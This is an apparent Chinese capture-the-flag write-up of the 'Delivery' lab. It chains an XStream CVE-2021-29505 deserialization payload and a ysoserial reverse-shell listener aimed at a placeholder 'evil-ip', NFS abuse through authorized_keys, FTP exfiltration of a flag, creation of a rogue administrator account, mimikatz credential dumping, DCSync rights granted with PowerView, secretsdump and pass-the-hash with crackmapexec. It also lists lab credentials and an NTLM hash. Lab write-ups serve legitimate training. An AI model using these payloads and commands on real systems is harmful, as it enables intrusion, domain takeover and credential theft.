flag01
先扫一波给出的 IP 端口
start infoscan
39.98.115.204:80 open
39.98.115.204:21 open
39.98.115.204:8080 open
39.98.115.204:22 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://39.98.115.204 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works
[+] ftp://39.98.115.204:21:anonymous
[->]1.txt
[->]pom.xml
[*] WebTitle: http://39.98.115.204:8080 code:200 len:3655 title:公司发货单
已完成 4/4
[*] 扫描结束,耗时: 53.683603791s
ftp 匿名登录获取到 web.xml 文件内容
很明显考的 XStream 反序列化命令执行,根据版本可以锁定对应的 CVE 编号 CVE-2021-29505,通过 ysoserial 的 JRMPListener 启动 RMI 监听
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,base64编码的反弹shell语句}|{base64,-d}|{bash,-i}"
POC
POST /just_sumbit_it HTTP/1.1
Host: 39.98.127.86:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Origin: http://39.98.127.86:8080
Connection: close
Referer: http://39.98.127.86:8080/
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>evil-ip</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>evil-ip</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
把其中的 evil-ip 改为自己的地址即可,反弹 shell 拿到权限,读 flag
flag02
当前机子为 172.22.13.14,上传 fscan 做信息收集,并做好代理
172.22.13.57:80 open
172.22.13.28:80 open
172.22.13.14:80 open
172.22.13.57:22 open
172.22.13.14:22 open
172.22.13.14:21 open
172.22.13.28:135 open
172.22.13.6:135 open
172.22.13.6:139 open
172.22.13.28:139 open
172.22.13.6:445 open
172.22.13.28:445 open
172.22.13.28:3306 open
172.22.13.28:8000 open
172.22.13.14:8080 open
172.22.13.6:88 open
[*] WebTitle: http://172.22.13.14 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works
[*] NetInfo:
[*]172.22.13.6
[->]WIN-DC
[->]172.22.13.6
[*] NetInfo:
[*]172.22.13.28
[->]WIN-HAUWOLAO
[->]172.22.13.28
[*] WebTitle: http://172.22.13.28 code:200 len:2525 title:欢迎登录OA办公平台
[*] WebTitle: http://172.22.13.57 code:200 len:4833 title:Welcome to CentOS
[*] NetBios: 172.22.13.6 [+]DC XIAORANGWIN-DC
[*] WebTitle: http://172.22.13.14:8080 code:200 len:3655 title:公司发货单
[*] WebTitle: http://172.22.13.28:8000 code:200 len:170 title:Nothing Here.
[*] NetBios: 172.22.13.28 WIN-HAUWOLAO.xiaorang.lab Windows Server 2016 Datacenter 14393
[+] ftp://172.22.13.14:21:anonymous
[->]1.txt
[->]pom.xml
[+] mysql:172.22.13.28:3306:root 123456
这里先不看 mysql 的,根据关卡提示,寻找开启 NFS 的主机,最后发现 172.22.13.57 这台存在 NFS 未授权
列出的目录包含 joyce 用户目录,可以通过写入 autorized_keys 配置 ssh 连接,先挂载目录到第一台机子的 /tmp/icq 路径
# 第一台机子需要下载依赖
apt install nfs-common
mount -t nfs 172.22.13.57:/ /tmp/icq
然后把本地生成的 id_rsa.pub 公钥文件写入到挂载目录的 .ssh/authorized_keys
再 ssh 连接
读取 flag 文件权限不足,这里还有一个 pAss.txt 文件给了一个域用户账号和密码
xiaorang.lab/zhangwenQT62f3gBhK1
看看 SUID
这里查看 crontab 没有 root 用户起的定时任务 ,pkexec 也处于安全版本,还剩一个 ftp 可以利用。在第一台机子上开启 ftp
python3 -m pyftpdlib -p 6666 -u dotast -P 123456 -w
然后通过第二台机子连接 ftp 服务,put flag 文件过来
获取第二个 flag
flag03
现在还剩 OA 和 域控两台机器,前面获取到的域用户账号可以登录 172.22.13.28 这台 OA 机器,RDP 连接过去
flag 在 Administrator 文件夹里,权限不够读。在 web 目录写一个 webshell,把权限提到最高权限
这里可以直接读 flag,为了后续方便,我这里创建一个管理员用户
创建新用户dotast
net user dotast qwer1234! /add
将用户dotast添加至管理员组
net localgroup administrators dotast /add
再 RDP 连接过去拿到第三个 flag
flag04
老规矩,先上传 mimikatz 抓一下用户密码
抓到另一个域用户账号密码:chenglei/Xt61f3LBhg1,接着做一下域环境分析
chenglei 域用户在 ACL_ADMIN 组里,那就很好办了,有 WriteDACL 权限,rdp 连上 chenglei 账号,上传 powerview.ps1 文件,给 chenglei 添加 DCSync
Import-Module .powerview.ps1
Add-DomainObjectAcl -TargetIdentity 'DC=xiaorang,DC=lab' -PrincipalIdentity chenglei -Rights DCSync -Verbose
导出域管哈希
proxychains impacket-secretsdump xiaorang.lab/chenglei:[email protected] -just-dc
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a
PTH 哈希传递读取 flag
proxychains crackmapexec smb 172.22.13.6 -u administrator -H6341235defdaed66fb7b682665752c9a -d xiaorang.lab -x "type UsersAdministratorflagflag04.txt"
原文始发于微信公众号(虹猫少侠):春秋云镜-Delivery
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论